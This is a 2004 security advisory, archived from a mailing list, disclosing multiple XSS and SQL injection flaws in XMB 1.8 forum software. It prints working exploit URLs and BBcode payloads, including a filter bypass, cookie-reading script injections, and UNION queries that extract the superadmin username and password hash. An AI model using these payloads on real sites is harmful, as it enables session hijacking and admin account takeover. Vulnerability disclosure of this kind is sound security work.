OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
[waraxe-2004-SA#004] - Multiple vulnerabilities in XMB 1.8 Partagium Final SP2

From: Janek Vind (come2waraxeyahoo.com)
Date: Mon Feb 23 2004 - 12:47:37 CST


{================================================================================}
{ [waraxe-2004-SA#004] }
{================================================================================}
{ }
{ [ Multiple vulnerabilities in XMB 1.8 Partagium Final SP2 ] }
{ }
{================================================================================}
                                                                                                                                
Author: Janek Vind "waraxe"
Date: 23 Feb 2004
Location: Estonia, Tartu

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

     Extreme Messageboard aka XMB is very popular and feature rich forum,
based on php and mysql. More information can be found on sites
http://www.aventure-media.co.uk and http://www.xmbforum.com

Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    
Multiple vulnerabilites have been found in XMB 1.8 Final SP2 version
and possibly in older versions too. Any of them can lead to total
compromise of the website, if affected account has SuperAdmin status.

Remark: line references apply to build version "Build: 2003100518".

Let's begin...

1. Security filter in header.php line 110 can be bypassed, if we partially
or fully urlencode the critical parts in URI. Thanks to this vulnerability
possible XSS holes can be easily exploited by GET request.

Original code:

// Checks for various variables in the URL, if any of them is found, script is halted
        $url2 = str_replace("subscriptions","",$url);
        $url_check = Array('status', 'xmbuser', 'xmbpw','script','javascript');
        foreach ($url_check as $name) {
                 if (eregi($name, $url2)){
                         exit();
                 }
        }

Example of the filter bypass:

http://localhost/xmb18sp2/forumdisplay.php?fid=1&foobar=<%73cript>

2. XSS in member.php

example exploitation:

http://localhost/xmb18sp2/member.php?action=viewpro&member=x<%73cript>alert(document.cookie);</%73cript>

3. XSS in u2uadmin.php

example exploitation:

http://localhost/xmb18sp2/u2uadmin.php?uid=x"><%73cript>alert(document.cookie);</%73cript>

4. XSS in editprofile.php

example exploitation:

http://localhost/xmb18sp2/editprofile.php?user=x"><%73cript>alert(document.cookie);</%73cript>

5. BBcode "[align=xxx][/align]" script injection vulnerability:

example exploitation:

text1 [align=center onmouseover=alert(document.cookie);] text2 [/align]

This can be used everywhere, where bbcode is allowed - in profile's signature, u2u and in forum threads.
Scripting will be triggered on mouseover event and will work with most browsers.

6. BBcode "[img=1x1][/img]" script injection vulnerabilty:

example exploitation:

text1 [img=1x1]javascript:alert(document.cookie);//gif[/img] text2

Ending "//gif" is needed for successful exploit, because bbcode implementation will check for it.

This can be used everywhere, where bbcode is allowed - in profile's signature, u2u and in forum threads.
Scripting will be triggered automatically, but exploit will work only with M$ Internet Explorer.

**************************************************************************
Remark: Next vulnerabilities are sql injections. Cases 7,8,9 will offer
injection possibility after "ORDER BY" keywords in sql query,
therefore UNION method will not work. Only bad thing, attacker can
make, is failing of the sql query and provoking of the sql error
message. Because XMB forum so nicely will show sql error messages
for all the world (this feature is implemented in mysql.php file),
we can "convert" the sql injection to the exploitable XSS!
**************************************************************************

7. SQL injection in viewthread.php line 250: (NB!! successful only, if currently logged out)

http://localhost/xmb18sp2/viewthread.php?tid=1&ppp=x

example exploitation:

http://localhost/xmb18sp2/viewthread.php?tid=1&ppp=x<%73cript>alert(document.cookie);</%73cript>

8. SQL injections in misc.php lines 387,391,395

http://localhost/xmb18sp2/misc.php?action=list&order=postnum&desc=x

example exploitation:

http://localhost/xmb18sp2/misc.php?action=list&order=postnum&desc=x<%73cript>alert(document.cookie);</%73cript>

9. SQL injections in forumdisplay.php lines 135,325

http://localhost/xmb18sp2/forumdisplay.php?fid=1&tpp=x

http://localhost/xmb18sp2/forumdisplay.php?fid=1&ascdesc=x

example exploitations:

http://localhost/xmb18sp2/forumdisplay.php?fid=1&tpp=x<%73cript>alert(document.cookie);</%73cript>

http://localhost/xmb18sp2/forumdisplay.php?fid=1&ascdesc=x<%73cript>alert(document.cookie);</%73cript>

*********************** [really scary sql hole] ***********************

10. SQL injections in stats.php lines 89,96,103

http://localhost/xmb18sp2/stats.php?action=view&addon=x

exploitations:

getting username for superadmin:

http://localhost/xmb18sp2/stats.php?action=view&addon=WHERE t.tid<0 UNION ALL SELECT NULL,NULL,username FROM xmb_members WHERE uid=1 LIMIT 1/*

getting password's md5 hash for superadmin:

http://localhost/xmb18sp2/stats.php?action=view&addon=WHERE t.tid<0 UNION ALL SELECT NULL,NULL,password FROM xmb_members WHERE uid=1 LIMIT 1/*

*********************** [/really scary sql hole] **********************

Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    Greetings goes to ulljobu, djzone, raider and to torufoorum staff!
    Special greets to marius and biacci!

Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    come2waraxeyahoo.com
    Janek Vind "waraxe"

---------------------------------- [ EOF ] ------------------------------------